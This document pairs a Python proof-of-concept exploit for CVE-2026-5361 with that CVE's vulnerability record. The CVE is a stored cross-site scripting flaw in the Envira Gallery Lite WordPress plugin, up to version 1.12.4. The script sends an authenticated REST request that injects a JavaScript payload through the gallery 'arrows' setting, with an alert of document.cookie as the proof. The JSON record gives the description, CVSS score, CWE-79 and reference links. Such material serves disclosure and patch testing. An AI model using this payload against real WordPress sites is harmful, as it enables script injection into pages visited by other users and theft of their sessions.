CVE-2026-5361

import requests # Target configuration target_url = "http://example.com/wp-json/envira-gallery/v1/gallery" # Requires Author level or higher access credentials auth_cookies = { "wordpress_logged_in_...": "your_cookie_value" } # Malicious payload exploiting the 'arrows' parameter # The vulnerability allows JS expression injection due to improper escaping. # Payload breaks out of the string context in the inline JS. payload_data = { "id": 1, # ID of an existing gallery to edit "config": { "arrows": "');alert(document.cookie);//" } } try: # Send the malicious request to the REST API endpoint response = requests.post(target_url, json=payload_data, cookies=auth_cookies) if response.status_code == 200: print("[+] Exploit payload sent successfully.") print("[+] Check the gallery page to verify XSS execution.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-5361", "sourceIdentifier": "[email protected]", "published": "2026-05-14T05:16:44.933", "lastModified": "2026-05-14T14:29:01.600", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Envira Gallery Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the REST API in versions up to and including 1.12.4. This is due to insufficient input sanitization in the update_gallery_data() function and improper output escaping in the gallery_init() function. The sanitize_config_values() function only sanitizes the justified_gallery_theme and justified_row_height parameters, but does not sanitize the arrows parameter. When the arrows value is output in the inline JavaScript configuration, it uses esc_attr() which is designed for HTML attribute contexts, not JavaScript contexts, allowing JavaScript expression injection. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/envira-gallery-lite/tags/1.12.4/includes/global/rest.php#L163", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/envira-gallery-lite/tags/1.12.4/includes/global/shortcode.php#L1067", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/envira-gallery-lite/trunk/includes/global/rest.php#L163", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/envira-gallery-lite/trunk/includes/global/shortcode.php#L1067", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3514026/envira-gallery-lite/trunk/includes/global/shortcode.php?old=3465371&old_path=envira-gallery-lite%2Ftrunk%2Fincludes%2Fglobal%2Fshortcode.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d2b1e973-f22d-4e69-b3b8-d6ea5df3f047?source=cve", "source": "[email protected]"}]}}